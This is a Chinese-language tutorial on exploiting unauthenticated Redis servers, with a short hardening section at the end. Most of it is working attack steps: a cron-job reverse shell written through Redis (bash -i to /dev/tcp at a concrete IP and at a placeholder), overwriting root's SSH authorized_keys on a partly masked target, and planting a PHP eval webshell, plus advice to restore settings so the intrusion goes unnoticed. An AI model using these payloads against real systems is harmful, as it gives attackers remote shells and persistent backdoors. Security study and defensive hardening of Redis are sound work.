Redis未授权访问漏洞
0x01 Redis是什么?
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
0x02 漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,这样将会将 Redis 服务暴露到公网上。会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
实现入侵的方式:
- 执行flushall来清空所有数据
- 可通过EVAL执行lua代码
- 通过数据备份功能往磁盘写入后门文件
- 给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
0x03 漏洞利用方式
redis的几条命令就是这个漏洞利用的关键。利用的前提是Redis开启了root权限,至少可以编辑/root/、/var/目录权限
- 1)set:Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。
基本语法:redis 127.0.0.1:6379> CONFIG Set parameter value
使用例子:
# 对不存在的键进行设置
redis 127.0.0.1:6379> SET key "value"
OK
redis 127.0.0.1:6379> GET key
"value"
# 对已存在的键进行设置
redis 127.0.0.1:6379> SET key "new-value"
OK
redis 127.0.0.1:6379> GET key
"new-value"
- 2)config set dir:Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。可以使用它修改配置参数
redis Config Set 基本语法:redis 127.0.0.1:6379> CONFIG Set parameter value
使用例子:
# 向slowlog-max-len写入值
redis 127.0.0.1:6379> CONFIG SET slowlog-max-len 10086
OK
# 向slowlog-max-len写入值后的效果
redis 127.0.0.1:6379> CONFIG GET slowlog-max-len
1) "slowlog-max-len"
2) "10086"
- 3)config set dbfilename:指定本地数据库存放目录。
基础语法:config set dbfilename 设置备份文件名
使用例子:
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
- save:进行一次备份操作
- Flushall:删除所有现有数据库的所有键
复现场景1-写计划任务反弹shell
用户定义的设置,位于文件:/var/spool/cron/用户名
原理
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。
坑:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
(1) lua语句执行
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key - 慎用
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/106.54.229.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
(2)计划任务
登录redis后执行备份到计划任务的目录里
计划任务的* * * * *
代表“分 时 日 月 周”表达式
说明如下:
分(minute):每个小时里的第几分钟,取值为0-59
时(hour):每天里的第几个小时,取值为0-23
日(day of month):每个月里的第几天,取值为1-31
月(month):每年里的第几个月,取值为1-12(或月份的英文名,一般前3个字母缩写)
周(day of week):每个星期里的第几天,取值为0-7 (0或7都表示星期日;用星期几的英文名称/3字母缩写也可以)
config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n" //直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
复现场景2-使用密钥认证机制远程登录Linux
复现前的环境搭建
1)创建目录 /root/.ssh 并设置权限
[root@localhost ~]# mkdir /root/.ssh // mkdir 命令用来创建目录,以后会详细介绍,暂时只了解即可。
[root@localhost ~]# chmod 700 /root/.ssh // chmod 命令是用来修改文件属性权限的,以后会详细介绍。
2)创建文件 / root/.ssh/authorized_keys
[root@localhost ~]# vim /root/.ssh/authorized_keys
3)生成Key
Xshell-【新建用户密钥生成向导】,密钥类型选择RSA,密钥长度选择2048位,生成密钥名称,加密的密码。
复制生成的公钥到远程linux里面 /root/.ssh/authorized_keys 文件中。如果没有.ssh目录,就自行建立,并更改目录权限为700。粘贴公钥的内容,保存退出。
就可以利用密钥登录了
接下来就可以测试使用密钥认证机制远程登录Linux
4)漏洞利用-公钥覆盖受控主机公钥
## 本地生成秘钥
root@XXX:~# ssh-keygen -t rsa
## 将公钥写入一个文件
root@XXX:~# cd /root/.ssh/
## 为了避免会拼接在其他字符串后面或被其他字符串拼接,这里在公钥上下加两行空行
root@XXX:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
## 这里“crackit”可以是任意名字
root@XXX:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
## 执行命令“redis-cli -h 远程ip”登录到远程主机redis
root@XXX:~/.ssh# redis-cli -h 210.73.90.xxx
## 设置工作目录 /root/.ssh/
210.73.90.xxx:6379> config set dir /root/.ssh/
## 设置备份文件名authorized_keys
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
## 保存文件到本地
210.73.90.xxx:6379> SAVE
## 退出redis
210.73.90.xxx:6379> exit
root@XXX:~/.ssh# ssh
4)连接服务器
root@XXX:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
复现场景3-写webshell
前提是已知web的绝对路径、web目录具有读写权限,不知道绝对路径时可以尝试目录爆破看下是否存在phpinfo文件,也可以尝试apache的默认路径:/var/www/html/
redis-cli -h 192.168.1.154
# 写入一个string内容
set shell "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
# 设置备份目录
config set dir /var/www/html/
# 设置备份文件名
config set dbfilename shell.php
# 保存文件到本地
save
0x04 防护
1)通过配置rename-command CONFIG “”,禁用一些命令
修改redis.conf文件,增加
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
2)以低权限运行 Redis 服务
切换到其他用户su - xxx,然后再启动server(切换是否注意之前文件权限,也需要相应修改)。
3)为 Redis 添加密码验证
···
修改redis.conf文件
requirepass mypassword
···
4)禁止外网访问 Redis
修改redis.conf文件
bind 127.0.0.1
5)修改默认端口
6)保证 authorized_keys 文件的权限设置
7)设置iptables防火墙策略